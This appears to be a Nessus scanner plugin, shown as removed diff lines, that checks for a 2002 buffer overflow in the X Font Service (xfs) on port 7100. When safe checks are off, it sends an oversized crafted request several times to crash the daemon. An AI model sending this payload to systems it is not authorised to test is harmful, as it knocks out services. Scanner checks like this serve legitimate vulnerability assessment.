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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
- #update by rd:
- #
- # It turns out the initial revision of this script would *not* crash
- # all versions of the font service.
- #
-
- if(description)
- {
- script_id(11188);
- script_bugtraq_id(6241);
- script_version ("$Revision: 1.8 $");
- script_cve_id("CAN-2002-1317");
-
- name["english"] = "X Font Service Buffer Overflow";
-
- script_name(english:name["english"]);
-
- desc["english"] = "
- The remote X Font Service (xfs) is vulnerable to a buffer
- overflow.
-
- An attacker may use this flaw to gain root or nobody shell
- access on the remote host.
-
- Solution : See CERT Advisory CA-2002-34
- Risk factor : High";
-
-
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Crashes the remote XFS daemon";
-
- script_summary(english:summary["english"]);
-
- script_category(ACT_MIXED_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2002 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2002 Renaud Deraison");
- family["english"] = "Gain root remotely";
-
- script_family(english:family["english"]);
- script_require_ports(7100);
- if ( defined_func("bn_random") )
- script_dependencie("solaris26_108129.nasl", "solaris26_x86_108130.nasl", "solaris7_108117.nasl", "solaris7_x86_108118.nasl");
- exit(0);
- }
-
-
- include("misc_func.inc");
- include("solaris.inc");
- include("global_settings.inc");
-
- if ( get_kb_item("BID-6241") ) exit(0);
- version = get_kb_item("Host/Solaris/Version");
- if ( version && "5.10" >< version ) exit(0);
-
- if ( version && ereg(pattern:"5\.[89]", string:version) )
- {
- if ( solaris_check_patch(release:"5.8_x86", arch:"intel", patch:"109863-03") >= 0 ||
- solaris_check_patch(release:"5.8", arch:"sparc", patch:"109862-03") >= 0 ||
- solaris_check_patch(release:"5.9", arch:"sparc", patch:"113923-02") >= 0 ||
- solaris_check_patch(release:"5.9_x86", arch:"intel", patch:"113924-02") >= 0)
- exit(0);
-
- }
-
- kb = known_service(port:7100);
- if(kb && kb != "xfs")exit(0);
-
-
- port = 7100;
-
- if(safe_checks())
- {
- if (report_paranoia < 1) exit(0); # No FP
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- close(soc);
- report = "
- The remote X Font Service (xfs) might be vulnerable to a buffer
- overflow.
-
- An attacker may use this flaw to gain root on this host
- remotely.
-
- *** Note that Nessus did not actually check for the flaw
- *** as details about this vulnerability are still unknown
-
- Solution : See CERT Advisory CA-2002-34
- Risk factor : High";
- security_hole(port:port, data:report);
- }
- }
- exit(0);
- }
-
-
- # Safe checks are disabled - let's be nasty.
-
- req = string("B", raw_string(0x00, 0x02), crap(1024));
-
- if(get_port_state(port))
- {
- soc = open_sock_tcp(port);
- if(!soc)exit(0);
- send(socket:soc, data:req);
- close(soc);
-
- # We might need to re-try the attack up to ten times
-
- for(i = 0 ; i < 10 ; i = i + 1)
- {
- soc = open_sock_tcp(port);
- if(soc)
- {
- send(socket:soc, data:req);
- close(soc);
- } else { security_hole(port); exit(0); }
- }
- }
-